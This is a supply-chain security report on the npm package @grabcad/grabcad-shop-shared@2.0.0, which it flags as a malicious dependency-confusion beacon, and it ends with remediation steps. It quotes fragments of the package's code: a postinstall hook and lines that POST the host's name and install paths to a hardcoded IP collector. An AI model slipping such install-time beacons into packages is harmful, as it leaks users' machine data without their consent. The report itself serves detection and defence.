@grabcad/grabcad-shop-shared@2.0.0
Compatibility shim.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 4h ago · by lpm-firewall-aiSource confirms automatic installation-time disclosure of identifying host and project metadata to a fixed external collector, with no affirmative consent gate. The README's research-test description does not establish consent from installers.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation runs the postinstall hook; importing the package entrypoint also fires the beacon.
Impact
The collector receives machine and project installation identifiers without an affirmative installer choice.
Mechanism
The beacon sends an HTTP POST with the machine hostname, installation path, and current directory.
Attack narrative
The postinstall hook invokes a beacon that sends the machine hostname and installation locations to a fixed external HTTP endpoint. The package entrypoint also fires the beacon on import. The README calls this a research test, but that claim does not establish installer consent.
AI rationale
Source confirms automatic installation-time disclosure of identifying host and project metadata to a fixed external collector, with no affirmative consent gate. The README's research-test description does not establish consent from installers.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs the beacon during postinstall.
- beacon.cjs uses a fixed external HTTP collector and labels requests with the package name.
- beacon.cjs sends a POST containing the serialized payload.
- The payload includes the machine hostname, installation path, and current directory.
- index.js fires the beacon when the package entrypoint is loaded.
- README.md describes a research test, but source provides no installer-consent gate.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
9 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
],
"license": "MIT"
}
High
Suspicious Lifecycle Evidence
package.json runs the beacon during postinstall.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@grabcad/grabcad-shop-shared";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
9 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @grabcad/grabcad-shop-shared@2.0.0.
See all versions of @grabcad/grabcad-shop-shared for other recorded verdicts.
- Avoid installing @grabcad/grabcad-shop-shared@2.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.